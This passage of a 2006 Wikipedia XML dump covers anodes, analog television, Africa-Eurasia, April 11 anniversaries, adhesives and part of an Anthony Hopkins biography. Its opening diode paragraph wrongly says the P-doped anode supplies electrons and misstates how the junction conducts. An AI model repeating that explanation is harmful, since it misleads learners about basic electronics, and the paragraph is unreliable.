In a [[semiconductor]] [[diode]], the anode is the P-doped layer which initially supplies '''[[electrons]]''' to the junction.  In the junction region, the electrons supplied by the anode combine with holes supplied from the N-doped region, creating a depleted zone.  As the P-doped layer supplies electrons to the depleted region, positive dope ions are left behind in the P-doped layer ('P' for positive charge-carrier ions).  This creates a base positive charge on the anode.  When a positive voltage is applied to anode of the diode from the circuit, more '''[[electrons]]''' are able to be transferred to the depleted region, and this causes the diode to become conductive, allowing current to flow through the circuit.  The terms anode and cathode should not be applied to a zener diode, since it allows flow in either direction, depending on the polarity of the applied potential (i.e. voltage).

== Sacrificial anode ==
In [[cathodic protection]], a metal anode that is more reactive to the corrosive environment of the system to be protected is electrically linked to the protected system, and partially [[corrosion|corrodes]] or dissolves, which protects the metal of the system it is connected to.  As an example, an [[iron]] or [[steel]] [[hull (watercraft)|ship's hull]] may be protected by a zinc sacrificial anode, which will dissolve into the seawater and prevent the hull from being corroded.  Sacrificial anodes are particularly needed for systems where a [[electrostatics|static charge]] is generated by the action of flowing liquids, such as pipelines and watercraft.

== Related antonym ==
The opposite of an anode is a [[cathode]].  When the charge on the system is reversed, the [[electrodes]] switch functions, so [[anode]] becomes [[cathode]], while [[cathode]] becomes [[anode]], as long as the reversed charge is applied.

== See also ==
*[[Cathode]]
*[[Anodising]] (a method of enhancing the surface properties of [[aluminium]])
*[[Battery (electricity)|Battery]]
*[[Cathodic protection]]
*[[Electron tube]]
*[[Electrolysis]]
*[[Galvanic cell]]
*[[Redox]] (oxidation-reduction)

[[Category:Electrochemistry]]
[[Category:Electricity]]

[[da:Anode]]
[[de:Anode]]
[[es:Ánodo]]
[[eo:Anodo]]
[[fr:Anode]]
[[io:Anodo]]
[[it:Anodo]]
[[nl:Anode]]
[[ja:アノード]]
[[pl:Anoda]]
[[pt:Ânodo]]
[[ru:Анод]]
[[sl:Anoda]]
[[sr:Анода]]
[[fi:Anodi]]
[[sv:Anod]]
[[uk:Анод]]

==External links==
*[http://members.chello.nl/~h.dijkstra19 The Cathode Ray Tube site]</text>
    </revision>
  </page>
  <page>
    <title>Analog television</title>
    <id>2393</id>
    <revision>
      <id>41783201</id>
      <timestamp>2006-03-01T18:47:00Z</timestamp>
      <contributor>
        <username>Cburnett</username>
        <id>140084</id>
      </contributor>
      <comment>Removed redundant phrase: by varying the frequencies you necessarily are talking about varying the voltage</comment>
      <text xml:space="preserve">'''Analog television''' (or '''analogue television''') encodes [[television]] picture information as an [[analog signal]], that is, by varying the and/or [[Frequency|frequencies]] of the [[Signal (information theory)|signal]]. All systems preceding [[digital television]] can be considered analog.

Analog signals will cease to operate in the United States starting on [[February 17]], [[2009]], making all television sets without a digital tuner unable to receive television broadcasts without an external digital broadcast receiver.

Starting in 2008, the analogue service in the [[United Kingdom]] will cease to operate with the entire country have analogue switched off by 2012. The [[BBC]] have been encouraging viewers to get digital television by broadcasting digital television programs on their terrestial channels. London will be hosting the [[London 2012|Olympic Games]] in [[2012]] so all British coverage of the games will be in digital.

Common analog television systems:
* [[NTSC]]
* [[PAL]]
* [[SÉCAM]]
* [[Slow-scan television]]
* [[Narrow-bandwidth television]]

==See also==
* [[Broadcast television system]]
* [[Terrestrial television]]

==External links==
* [http://www.ee.washington.edu/conselec/CE/kuhn/ntsc/95x4.htm  Conventional Analog Television - An Introduction] 

[[Category:Video and movie technology]]
[[Category:History of television]]

[[de:Analoges Fernsehen]]
[[id:Televisi analog]]
[[sv:Analog television]]</text>
    </revision>
  </page>
  <page>
    <title>Africa-Eurasia</title>
    <id>2394</id>
    <revision>
      <id>39774995</id>
      <timestamp>2006-02-15T20:14:39Z</timestamp>
      <contributor>
        <username>GCarty</username>
        <id>10379</id>
      </contributor>
      <comment>World Island is mainland only</comment>
      <text xml:space="preserve">[[Image:LocationAfricaEurasia.png|thumb|300px|right|Africa-Eurasia]]
The [[supercontinent]] of '''Africa-Eurasia''', or '''Afro-Eurasia''', is the world's largest land mass and contains around 85% of the human population. It is typically subdivided into the [[continent|continents]] [[Africa]] and [[Eurasia]] (which is culturally, but not geographically, divided into [[Europe]] and [[Asia]]) by drawing a line at the [[Suez Canal]]. Historians of the [[cultural materialism]] school may subdivide it into Eurasia-[[North Africa]] and [[Sub-Saharan Africa]], based on differing agricultural systems. (See [[Guns, Germs, and Steel]] for example.) 
 
Some geographers and historians have referred to it as '''Eurafrasia''' or '''Afrasia''' (omitting the European [[peninsula]]), although these terms have never come into general use. In [[geopolitics]] the mainland of Africa-Eurasia (excluding islands such as the [[British Isles]], [[Japan]] and [[Madagascar]]) is sometimes it has also been referred as the '''World Island'''.

The [[Old World]] includes Africa-Eurasia and its surrounding islands.

*[[Eurasia]]
**[[Europe]]
**[[West Asia]]
**[[South Asia]]
**[[Central Asia]]
**[[Southeast Asia]]
**[[East Asia]]
**[[North Asia]]
*[[Africa]]
**[[North Africa]] (sometimes moved to the list above)
**[[West Africa]]
**[[Central Africa]]
**[[East Africa]]
**[[Southern Africa]]

{{Continent}}
[[Category:Continents]]

[[cs:Eurafrasie]]
[[de:Afrika-Eurasien]]
[[el:Ευρασία-Αφρική]]
[[es:Eurafrasia]]
[[eo:Afrik-Eŭrazio]]
[[fr:Eurafrasie]]
[[ko:아프리카-유라시아]]
[[hr:Afrika-Euroazija]]
[[it:Eurafrasia]]
[[he:אירואפרסיה]]
[[nl:Afrika-Eurazië]]
[[ja:アフリカ＝ユーラシア大陸]]</text>
    </revision>
  </page>
  <page>
    <title>April 11</title>
    <id>2395</id>
    <revision>
      <id>42104673</id>
      <timestamp>2006-03-03T21:30:34Z</timestamp>
      <contributor>
        <ip>151.202.68.22</ip>
      </contributor>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=11}}
|}
'''April 11''' is the 101st day of the year in the [[Gregorian calendar]] (102nd in [[leap year]]s). There are 264 days remaining.
==Events==
*[[1241]] - [[Batu Khan]] defeats [[Bela IV of Hungary]] at the [[Battle of Muhi]]
*[[1512]] - [[Battle of Ravenna]]
*[[1713]] - [[War of the Spanish Succession]] ([[Queen Anne's War]]): [[Treaty of Utrecht (1713)|Treaty of Utrecht]]
*[[1775]] - Last execution for [[witchcraft]] in [[Germany]]
*[[1803]] - [[France|French]] Foreign Minister [[Charles Talleyrand]] offers to sell all of the [[Louisiana]] Territory to the [[United States]]
*[[1814]] - [[Napoleon]] abdicates and is exiled to [[Elba]].
*[[1827]] - The Greek national assembly at Troezene elected [[John Capodistria|Capo d'Istria]] president of the republic.
*[[1856]] - [[Battle of Rivas]] in the war between the [[Central America|Central American]] coalition and [[filibuster (settler)|filibuster]] [[William Walker (soldier)|William Walker]].
*[[1868]] - The [[Shogunate]] is abolished in [[Japan]]
*[[1876]] - The [[Benevolent and Protective Order of Elks]] is organized
*[[1888]] - The [[Concertgebouw]] in [[Amsterdam]] is inaugurated.
*[[1899]] - [[Spain]] cedes [[Puerto Rico]] to the [[United States]]
*[[1915]] - [[Charlie Chaplin]] releases [[The Tramp]].
*[[1921]] - First sports broadcast on the [[radio]].
*1921 - The [[Emirate of Transjordan]] is created.
*[[1945]] - World War II: [[United States]] forces liberate [[Buchenwald]] [[concentration camp]].
*[[1947]] - [[Jackie Robinson]] is the first [[African American]] to play in a modern-day [[Major League Baseball]] game.
*[[1951]] - [[Korean War]]: [[President of the United States|President]] [[Harry S. Truman]] relieves General [[Douglas MacArthur]] of overall command in [[Korea]].
*[[1961]] - [[Bob Dylan]] makes his singing début in [[New York City]].
*[[1965]] - [[The Palm Sunday Tornado Outbreak]]: Fifty-one tornadoes hit in six Midwestern states killing 256 people.
*[[1968]] - [[Lyndon B. Johnson]] signs the [[Civil Rights Act of 1968]], prohibiting discrimination in the sale, rental, and financing of housing. 
*1968 - [[Germany|German]] student leader [[Rudi Dutschke]] is shot in [[Berlin]].
*[[1970]] - ''[[Apollo 13]]'' is launched.
*[[1979]] - [[Uganda|Ugandan]] dictator [[Idi Amin]] is deposed. 
*[[1981]] - A massive [[Brixton riot (1981)|riot]] in [[Brixton]], [[South London]], results in almost 300 police injuries and 65 serious civilian injuries.
*[[2001]] - The detained crew of a [[United States]] [[EP-3E]] aircraft that landed in [[Hainan]], [[People's Republic of China]] after a collision with an [[Shenyang J-8|F-8]] fighter is released.
*2001 - [[Extreme Championship Wrestling]] Folds
*[[2002]] - The [[Ghriba synagogue bombing]] by [[Al Qaeda]] kills 21 in [[Tunisia]].
*2002 - Eighteen people were killed (by people attached to Hugo Chavez's government) and 150-185 people were injured, some quite seriously, during the April 11 protest march (which saw about two million people marching) against Venezuelan President Hugo Chavez

==Births==
*[[146]] - [[Septimius Severus]], [[Roman Emperor]] (d. [[211]])
*[[1357]] - King [[John I of Portugal]] (d. [[1433]])
*[[1374]] - [[Roger Mortimer, 4th Earl of March]], heir to the throne of England (d. [[1398]])
*[[1492]] - [[Margaret of Navarre]], queen of [[Henry II of Navarre]] (d. [[1549]])
*[[1592]] - [[John Eliot (statesman)|John Eliot]], English statesman (d. [[1632]])
*[[1705]] - [[William Cookworthy]], English chemist (d. [[1780]])
*[[1721]] - [[David Zeisberger]], Moravian missionary (d. [[1808]])
*[[1722]] - [[Christopher Smart]], English poet (d. [[1771]])
*[[1755]] - [[James Parkinson]], English physician (d. [[1824]])
*[[1769]] - [[Jean Lannes]], French marshal (d. [[1809]])
*[[1798]] - [[Macedonio Melloni]], Italian physicist (d. [[1854]])
*[[1810]] - Sir [[Henry Rawlinson|Henry Creswicke Rawlinson]], English soldier and orientalist (d. [[1895]])
*[[1819]] - [[Charles Hallé]], German pianist and conductor (d. [[1895]])
*[[1825]] - [[Ferdinand Lassalle]], German politician (d. [[1864]])
*[[1869]] - [[Gustav Vigeland]], Norwegian sculptor (d. [[1943]])
*[[1876]] - [[Paul Henry (painter)|Paul Henry]], Northern Irish artist (d. [[1958]])
*[[1883]] - [[Hozumi Shigeto]], Japanese author (d. [[1951]])
*[[1889]] - [[Nick LaRocca]], American musician (d. [[1961]])
*[[1893]] - [[Dean Acheson]], [[U.S. Secretary of State]] (d. [[1971]])
*[[1900]] - [[Sandor Marai]], Hungarian writer (d. [[1989]])
*[[1906]] - [[Dale Messick]], American cartoonist (d. [[2005]])
*[[1908]] - [[Leo Rosten]], American humorist and author (d. [[1997]])
*[[1910]] - [[António de Spínola]], Portuguese General and politician (d. [[1996]])
*[[1911]] - [[Stanislawa Walasiewicz]], Polish-born runner (d. [[1980]])
*[[1913]] - [[Oleg Cassini]], French-born fashion designer
*[[1914]] - [[Robert Stanfield]], Premier of Nova Scotia (d. [[2003]])
*[[1916]] - [[Alberto Ginastera]], Argentine composer (d. [[1983]])
*[[1917]] - [[David Westheimer]], American novelist  (d. [[2005]])
*[[1930]] - [[Anton LaVey]], American founder of the Church of Satan (d. [[1997]])
*[[1931]] - [[Johnny Sheffield]], American actor
*[[1932]] - [[Joel Grey]], American singer, actor, and dancer
*[[1935]] - [[Richard Berry]], American singer, and composer (d. [[1997]])
*[[1938]] - [[Kurt Moll]], German bass
*[[1939]] - [[Louise Lasser]], American actress
*[[1944]] - [[John Milius]], American director and writer
*[[1946]] - [[Bob Harris]], British disc jockey and presenter
*[[1947]] - [[Peter Riegert]], American actor
*1947 - [[Meshach Taylor]], American actor
*[[1949]] - [[Bernd Eichinger]], German film producer
*[[1951]] - [[Doris McGowen Beck Angleton]], American socialite (d. [[1997]])
*1951 - [[James Patrick Kelly]], American author
*[[1953]] - [[Andrew Wiles]], British mathematician
*1953 - [[Guy Verhofstadt]], [[Prime Minister of Belgium]]
*[[1955]] - [[Kevin Brady]], American politician
*1955 - [[Michael Callen]], American singer and songwriter (d. [[1993]])
*[[1958]] - [[Stuart Adamson]], British musician ([[Big Country]]) (d. [[2001]])
*[[1959]] - [[Frank C Scott]], Australian photo-journalist
*[[1960]] - [[Jeremy Clarkson]], British journalist
*[[1961]] - [[Doug Hopkins]], American musician
*[[1962]] - [[Vincent Gallo]], American actor
*[[1963]] - [[Chris Ferguson]], American poker player
*[[1966]] - [[Mason Reese]], American actor
*1966 - [[Lisa Stansfield]], English singer
*[[1968]] - [[Sergey Lukyanenko]], Russian author
*[[1970]] - [[Trevor Linden]], Professional Hockey Player
*[[1971]] - [[Oliver Riedel]], German musican ([[Rammstein]])
*[[1972]] - [[Jason Varitek]], baseball player
*[[1974]] - [[Trot Nixon]], baseball player
*[[1975]] - [[Walid Soliman]], Tunisian Author
*[[1979]] - [[Malcolm Christie]], English footballer
*[[1980]] - [[Mark Teixeira]], baseball player
*[[1982]] - [[Ian Bell (cricketer)|Ian Bell]], English cricketer
*[[1987]] - [[Joss Stone]], English singer
==Deaths==
*[[1034]] - [[Romanus III]], [[Byzantine emperor]] (b. [[1028]])
*[[1240]] - [[Llywelyn the Great]], Prince of Gwynedd
*[[1554]] - [[Thomas Wyatt the younger]], English rebel (executed) (b. [[1521]])
*[[1555]] - [[Joanna of Castile]], mother of [[Charles V, Holy Roman Emperor]] (b. [[1479]])
*[[1612]] - [[Emanuel van Meteren]], Flemish historian (b. [[1535]])
*1612 - [[Edward Wightman]], English Baptist preacher (burned at the stake) (b. [[1566]])
*[[1626]] - [[Marin Getaldić]], Croatian mathematician (b. [[1568]])
*[[1712]] - [[Richard Simon]], French Biblical critic (b. [[1638]])
*[[1723]] - [[John Robinson (1650-1723)|John Robinson]], English diplomat (b. [[1650]])
*[[1798]] - [[Karl Wilhelm Ramler]], German poet (b. [[1725]])
*[[1856]] - [[Juan Santamaría]], national hero of Costa Rica (b. [[1831]])
*[[1861]] - [[Francisco González Bocanegra]], Mexican poet (b. [[1824]])
*[[1873]] - [[Edward Canby]], U.S. general (assassinated) (b. [[1817]])
*[[1906]] - [[James Anthony Bailey]], American circus impresario (b. [[1847]])
*1906 - [[Francis Pharcellus Church]], American editor and publisher (b. [[1839]])
*[[1916]] - [[Richard Harding Davis]], American author (b. [[1864]])
*[[1926]] - [[Luther Burbank]], American botanist (b. [[1849]])
*[[1970]] - [[Cathy O'Donnell]], American actress (b. [[1923]])
*1970 - [[John O'Hara]], American author (b. [[1905]])
*[[1983]] - [[Dolores del Rio]], Mexican actress (b. [[1905]])
*[[1985]] - [[Enver Hoxha]], Albanian statesman (b. [[1908]])
*[[1987]] - [[Erskine Caldwell]], American author (b. [[1903]])
*1987 - [[Primo Levi]], Italian chemist, composer, librettist, and author (b. [[1919]])
*[[1996]] - [[Jessica Dubroff]], American pilot (b. [[1988]])
*[[1999]] - [[Jean Vander Pyl]], American voice actress (b. [[1919]])
*[[2001]] - [[Harry Secombe]], Welsh actor and comedian (b. [[1921]])
*[[2003]] - [[Cecil Howard Green]], British-born geophysicist and businessman (b. [[1900]])
*[[2005]] - [[André François]], French cartoonist (b. [[1915]])
*2005 - [[Lucien Laurent]], French footballer (b. [[1907]])

==Holidays and observances==
*[[1993]], [[2004]], [[2066]]: [[Easter]]
*Anniversary of the Battle of [[Rivas]] (State holiday in [[Costa Rica]])

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/11 BBC: On This Day]
* [http://www.tnl.net/when/4/11 Today in History: April 11]

----

[[April 10]] - [[April 12]] - [[March 11]] - [[May 11]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:11 April]]
[[an:11 d'abril]]
[[ar:11 ابريل]]
[[ast:11 d'abril]]
[[be:11 красавіка]]
[[bg:11 април]]
[[bs:11. april]]
[[ca:11 d'abril]]
[[ceb:Abril 11]]
[[co:11 d'aprile]]
[[cs:11. duben]]
[[csb:11 łżëkwiôta]]
[[cv:Ака, 11]]
[[cy:11 Ebrill]]
[[da:11. april]]
[[de:11. April]]
[[el:11 Απριλίου]]
[[eo:11-a de aprilo]]
[[es:11 de abril]]
[[et:11. aprill]]
[[eu:Apirilaren 11]]
[[fi:11. huhtikuuta]]
[[fo:11. apríl]]
[[fr:11 avril]]
[[fy:11 april]]
[[ga:11 Aibreán]]
[[gl:11 de abril]]
[[he:11 באפריל]]
[[hr:11. travnja]]
[[hu:Április 11]]
[[ia:11 de april]]
[[id:11 April]]
[[ie:11 april]]
[[io:11 di aprilo]]
[[is:11. apríl]]
[[it:11 aprile]]
[[ja:4月11日]]
[[jv:11 April]]
[[ka:11 აპრილი]]
[[ko:4월 11일]]
[[ku:11'ê avrêlê]]
[[lb:11. Abrëll]]
[[li:11 april]]
[[lt:Balandžio 11]]
[[mk:11 април]]
[[ms:11 April]]
[[nap:11 'e abbrile]]
[[nl:11 april]]
[[nn:11. april]]
[[no:11. april]]
[[oc:11 d'abril]]
[[pam:Abril 11]]
[[pl:11 kwietnia]]
[[pt:11 de Abril]]
[[ro:11 aprilie]]
[[ru:11 апреля]]
[[scn:11 di aprili]]
[[sco:11 Aprile]]
[[se:Cuoŋománu 11.]]
[[simple:April 11]]
[[sk:11. apríl]]
[[sl:11. april]]
[[sq:11 Prill]]
[[sr:11. април]]
[[sv:11 april]]
[[te:ఏప్రిల్ 11]]
[[th:11 เมษายน]]
[[tl:Abril 11]]
[[tr:11 Nisan]]
[[tt:11. Äpril]]
[[uk:11 квітня]]
[[ur:11 اپریل]]
[[vi:11 tháng 4]]
[[wa:11 d' avri]]
[[war:Abril 11]]
[[zh:4月11日]]</text>
    </revision>
  </page>
  <page>
    <title>Adhesive</title>
    <id>2396</id>
    <revision>
      <id>41245219</id>
      <timestamp>2006-02-26T01:02:43Z</timestamp>
      <contributor>
        <username>LeCire</username>
        <id>251741</id>
      </contributor>
      <text xml:space="preserve">:''Glue gun redirects here; for the band Glue Gun, see [[Glue Gun (band)]].''

An '''adhesive''' is a compound that [[adhesion|adheres]] or bonds two items together. Adhesives may come from either natural or synthetic sources.  Some modern adhesives are extremely strong, and are becoming increasingly important in modern construction and industry. 

== History ==
The first adhesives were [[gum]]s and other plant [[resin]]s.  Archaeologists have found 6000-year-old [[ceramic]] vessels that had broken and been repaired using plant resin.  Most early adhesives were [[animal glue]]s made by rendering animal products such as the Native American use of [[American Bison|buffalo]] hooves. Native Americans in what is now the eastern United States used a mixture of [[spruce]] gum and fat as adhesives and as [[caulk]] to waterproof seams in their birchbark canoes.  During the times of Babylonia, tar-like glue was used for gluing statues.  Also, Egypt was one of the most prominent users of adhesives. The Egyptians used animal glues to adhere tombs, furniture, ivory, and papyrus.  Also, the Mongols used adhesives to make their short bows.  In Europe in the Middle Ages, egg whites were used to decorate parchments with gold leaves.  In the [[1700s]], the first glue factory was founded in Holland, which manufactured hide glue.  Later, in the [[1750s]], the British introduced fish glue.  As the modernization continued, new patents were issued by using rubber, bones, starch, fish, and casein. Modern adhesives have improved flexibility, toughness, curing rate, temperature and chemical resistance. (HSL)

==Categories of adhesives==

===Natural Adhesives===

Adhesives based on vegetable (natural resin), food (animal hide and skin), and mineral sources (inorganic materials). (HSL)

===Synthetic Adhesives===

Adhesives based on elastomers, thermoplastic, and thermosetting adhesives.

=== Drying adhesives ===
These adhesives are a mixture of ingredients (typically [[polymers]]) dissolved in a [[solvent]]. [[Glue]]s and [[rubber cement]]s are members of the ''drying adhesive'' family. As the solvent evaporates, the adhesive hardens. Depending on the chemical composition of the adhesive, they will adhere to different materials to greater or lesser degrees. These adhesives are typically weak and are used for [[household]] applications. Some intended for small children are now made non-toxic.

===Hot adhesives (Thermoplastic adhesive)===
[[Image:MVC-013F.JPG|right|thumbnail|200px|A glue gun, an example of a hot adhesive]]
Also known as &quot;hot melt&quot; adhesives, these adhesives are generally [[thermoplastic]]s; they are applied hot and simply allowed to harden as they cool. These adhesives have become popular for crafts because of their ease of use and the wide range of common materials to which they can adhere. A glue gun, pictured right, is one method of applying a hot adhesive. The glue gun melts the solid adhesive and then allows the liquid to pass through the &quot;barrel&quot; of the gun onto the material where it solidifies.

=== Reactive adhesives ===
Reactive adhesives are generally [[thermosetting plastic]]s. [[Epoxy resin]]s are the most common example of this kind of adhesive. Reactive adhesives generally come in two separate containers. The two ingredients of the adhesive must be mixed in certain proportions immediately before application.  Generally one ingredient is a [[monomer]], or [[resin]], and the second is a reaction initialiser. When the two are mixed together, a [[polymer]]isation reaction occurs which solidifies the adhesive.

Reaction adhesives may also react with the surface of the materials to be stuck together. This process is called [[bonding]], in which the adhesive forms chemical bonds with the material, and is distinct from sticking, the action of common glues.

A special case of this kind of adhesive is [[cyanoacrylate]] (more commonly known by the brand name &quot;super glue&quot;) which reacts with trace moisture on the surfaces being bonded and therefore does not need any mixing before application.

Reactive adhesives are very strong and are used for high-stress applications such as attaching wings to aircraft. Because the strength of a reactive adhesive is a result of chemical bonding with the surface material, reactive adhesives are applied in thin films. Reactive adhesives are less effective when there is a secondary goal of filling gaps between the surfaces..

Such adhesives are frequently used to prevent loosening of bolts and screws in rapidly moving assemblies, such as automobile engines. They are largely responsible for the quieter running modern car engines.

=== Temporary adhesives ===
Temporary adhesives are designed to repeatedly or easily stick and unstick. They have low adhesion and generally can not support much weight. They are commonly used on paper, but can be used on many other things. They have common applications such as bookmarks, informal notes, and office supplies. Brands include [[Blu-Tack]], a gum-like adhesive (a.k.a. &quot;sticky tak&quot;), [[Sticking plaster|adhesive bandages]], and the pressure-activated adhesive applied to the back of [[3M]]'s [[Post-it note]]s. The adhesives on items such as [[duct tape]] can generally adhere longer than these other products. 

Also see [[adhesive tape]] and [[gaffer tape]].

[[Plastic wrap]] displays temporary adhesive properties as well.

== Adhesive failure ==
{{cleanup-date|February 2006}}
Adhesives may fail in one of two ways:

Adhesive failure is the failure of the adhesive to stick or bond with the material to be adhered (also known as the substrate or adherend).

Cohesive failure is structural failure of the adhesive.  Adhesive remains on both substrate surfaces, but the two items separate.

Two substrates can also separate through structural failure of one of the substrates; this is not a failure of the adhesive.  In this case the adhesive remains intact and is still bonded to one substrate and the remnants of the other.

For example, when one removes a price label, adhesive usually remains on the label and the surface.  This is cohesive failure.  If, however, a layer of paper remains stuck to the surface, the adhesive has not failed.

As another example, when someone tries to pull apart [[Oreo]] cookies with the filling all on one side.  The goal is an adhesive failure, rather than a cohesive failure.

[[Category:Adhesives| ]]

[[de:Klebstoff]]
[[es:Adhesivo]]
[[fr:Adhésif]]
[[io:Adherivo]]
[[he:דבק]]
[[nl:Lijmen]]
[[pt:Cola]]
[[ja:接着剤]]
[[sv:Lim]]</text>
    </revision>
  </page>
  <page>
    <title>Anthony Hopkins</title>
    <id>2397</id>
    <revision>
      <id>42064579</id>
      <timestamp>2006-03-03T15:46:14Z</timestamp>
      <contributor>
        <username>Android79</username>
        <id>88250</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Goyk|Goyk]] ([[User talk:Goyk|talk]]) to last version by Bota47</comment>
      <text xml:space="preserve">:''For the composer, see [[Antony Hopkins]].''
[[Image:Anothony hopkins in fastest indian.jpg|thumb|200px|right|Hopkins in ''[[The World's Fastest Indian]]'']]
[[Image:Heyes.jpg|thumb|200px|right|Hopkins in ''[[The Silence of the Lambs]]'']]
'''Sir''' '''Anthony Hopkins''' ({{IPA2|'æntəni 'hɒpkɪnz}}) [[Commander of the British Empire|CBE]] (born [[December 31]], [[1937]]) is a [[Welsh]]-born  [[actor]] who was born '''Philip Anthony Hopkins''' in Margam, near [[Port Talbot]], [[Wales]]. His parents were the late Richard Arthur Hopkins and Muriel Yeats, who is a distant relation of poet [[William Butler Yeats]]. He was influenced and encouraged to become an actor by fellow Welshman [[Richard Burton]], whom he met briefly at the age of fifteen.  Hopkins eventually moved to London where he trained as an actor at [[RADA]].

He is an acknowledged [[alcoholism|alcoholic]] who has been abstinent since [[1975]]. He now resides in the United States where he became a [[naturalization|naturalized citizen]] on [[April 12]], [[2000]]. However, as a dual national, he retains his [[British honours system|knighthood]] and can use the title 'Sir' in the UK, but not in the US, since it is considered 'inappropriate' according to the British consulate. Proud of his [[United States|American]] citizenship, Hopkins stated that as soon as he became a citizen of the country, he went on a 3,000 mile road trip across [[United States|America]].

Hopkins has been married three times. His first two wives were Petronella Barker (1967-[[1972]]) and Jennifer Lynton (1973-[[2003]]). He is now married to [[Stella Arroyave]]. He has a daughter named Abigail Hopkins (born 1968) from his first marriage.

His most famous role was the portrayal of the [[cannibalism|cannibalistic]] [[serial killer]] [[Hannibal Lecter]] in the film ''[[The Silence of the Lambs]]'' (for which he won the [[Academy Award for Best Actor]]) opposite [[Jodie Foster]] as [[Clarice Starling]], who also won the [[Academy Award for Best Actress]] that year. In fact the film won the [[Academy Award for Best Picture]] as well that year, no doubt due to the electrifying interplay between Hopkins and Foster. It is the shortest lead acting Oscar-winning performance ever, as Hopkins is only on the screen for about sixteen minutes. Hopkins reprised the role of Dr. Lecter twice in ''[[Hannibal (film)|Hannibal]]'' and ''[[Red Dragon]]''. Lecter first appears in the film ''[[Manhunter (film)|Manhunter]]'', in which the role was played by [[Brian Cox]]. ''Red Dragon'' was a remake of ''Manhunter'', which allowed Hopkins to play Lecter in adaptations of all three Lecter novels. Lecter's slurping sound from ''Silence of the Lambs'' was apparently improvised; although, Hopkins admits during the Criterion Laserdisc commentary track it may have been influenced by [[Bela Lugosi]] (with no remembrance which movie it would be from). All three films were based on the bestselling novels by [[Thomas Harris]], who reportedly was very pleased with Hopkins' portrayal of Lecter.

Hopkins has also been Oscar-nominated for ''[[The Remains of the Day]]'' (1993), which was based on the award-winning novel by [[Kazuo Ishiguro]].  Other Oscar-nominated performances include ''[[Nixon (movie)|Nixon]]'' (1995) and ''[[Amistad (1997 movie)|Amistad]]'' (1997).  He also won the [[BAFTA Award for Best Actor]] for his perfomances in ''[[The Silence of the Lambs]]'' and ''[[The Remains of the Day]]''.

He has played many famous historical and fictional characters including: [[Zorro]] (''The Mask of Zorro'' 1998), [[Quasimodo]] (''[[The Hunchback of Notre Dame (1982 film)|The Hunchback of Notre Dame]]'' [[1982]]), [[Othello]] (''Othello'' 1981), [[Pablo Picasso]] (''Surviving Picasso'' 1996), [[Richard Nixon]] (''Nixon'' 1995), [[Titus Andronicus]] (''Titus'' 1999), [[John Quincy Adams]] (''[[Amistad (1997 movie)|Amistad]]'' [[1997]]), [[Adolf Hitler]] (''The Bunker'' 1981), [[John Dutton Frost|John Frost]] (''A Bridge Too Far'' 1977) [[Charles Dickens]] (''The Great Inimitable Mr. Dickens'' 1970), [[William Bligh]] (''The Bounty'' 1984), [[Richard Lionheart]] (''[[The Lion in Winter]]'' [[1968]]), [[David Lloyd George]] (''Young Winston'' 1972),  [[Abraham Van Helsing]] (''[[Bram Stoker's Dracula]]'' [[1992]]), [[Yitzak Rabin]] (''[[Victory at Entebbe]]'' [[1976]]) and [[C. S. Lewis]] (''[[Shadowlands]]'' [[1993]]).

He was made a [[Order of the British Empire|Commander of the British Empire]] (CBE) in 1987, and knighted in 1993.

Today, Hopkins also takes time to support various [[philanthropy|philanthropic]] groups. Hopkins was past Gala Fundraiser Guest of Honour for Women in Recovery, Inc., a [[Venice, California]]-based non-profit organization offering rehabilitation for women in need. He is also a volunteer teacher at the Ruskins School of Acting in Santa Monica, California where he also resides.

He has offered his support to various charities and appeals, notably becoming President of the [[National Trust for Places of Historic Interest or Natural Beauty|National Trust]]'s [[Snowdonia]] Appeal, raising funds for the preservation of the [[Snowdonia National Park]] and to aid the Trust's efforts to purchase parts of [[Snowdon]]. A book celebrating these efforts ''Anthony Hopkins' Snowdonia'' was published together with Graham Nobles.

In [[2006 in film|2006]], Hopkins was the recipient of the [[Golden Globe]] [[Cecil_B._DeMille_Award|Cecil B. DeMille Award]] for lifetime achievement.

===Selected filmography===
* ''[[The Lion in Winter]] '' (1968)
* ''[[The Looking Glass War]]'' (1969)
* ''[[Hamlet (1969 film)|Hamlet]]'' (1979)
* ''[[The Great Inimitable Mr. Dickens]]'' (1970)
* ''[[The Three Sisters (film)|The Three Sisters]]'' (1970)
* ''[[Young Winston]]'' (1972)
* ''[[War and Peace]]'' (1972)
* ''[[A Doll's House (film)|A Doll's House]]'' (1973)
* ''[[The Girl from Petrovka]]'' (1974)
* ''[[QB VII]]'' (1974)
* ''[[Juggernaut (film)|Juggernaut]]'' (1974)
* ''[[Dark Victory]]'' (1976)
* ''[[The Lindbergh Kidnapping Case]]''([[1976]])
* ''[[A Bridge Too Far]]'' (1977)
* ''[[Audrey Rose]]'' (1977)
* ''[[Magic (film)|Magic]]'' (1978)
* ''[[International Velvet]]'' (1978)
* ''[[Mayflower: The Pilgrims' Adventure]]'' (1979)
* ''[[The Elephant Man (movie)|The Elephant Man]]'' (1980)
* ''[[A Change of Seasons]]'' (1980)
* ''[[The Bunker]]'' (1981)
* ''[[Peter and Paul]]'' (1981)
* ''[[Othello (1981 television)|Othello]]'' (1981)
* ''[[The Hunchback of Notre Dame (1982 film)|The Hunchback of Notre Dame]]'' (1982)
* ''[[A Married Man]]'' (1983)
* ''[[The Bounty]]'' (1984)
* ''[[Hollywood Wives]]'' (1985)
* ''[[Guilty Conscience (film)|Guilty Conscience]]'' (1985)
* ''[[Mussolini And I]]'' (1985)
* ''[[The Good Father]]'' (1985)
* ''[[84 Charing Cross Road]]'' (1987)
* ''[[Desperate Hours]]'' (1990)
* ''[[The Silence of the Lambs]]'' (1991)
* ''[[Freejack]]'' ([[1992 in film|1992]])
* ''[[Chaplin]]'' (1992)
* ''[[The Efficiency Expert]]'' (1992)
* ''[[Spotswood (film)|Spotswood]]'' (1992)
* ''[[Howards End]]'' (1992)
* ''[[Bram Stoker's Dracula]]'' (1992)
* ''[[The Remains of the Day (film)|The Remains of the Day]]'' (1993)
* ''[[Shadowlands]]'' (1993)
* ''[[Legends of the Fall]]'' ([[1994 in film|1994]])
* ''[[The Road to Wellville]]'' ([[1995 in film|1995]])
* ''[[Nixon (film)|Nixon]]'' (1995)
* ''[[Surviving Picasso]]'' (1996)
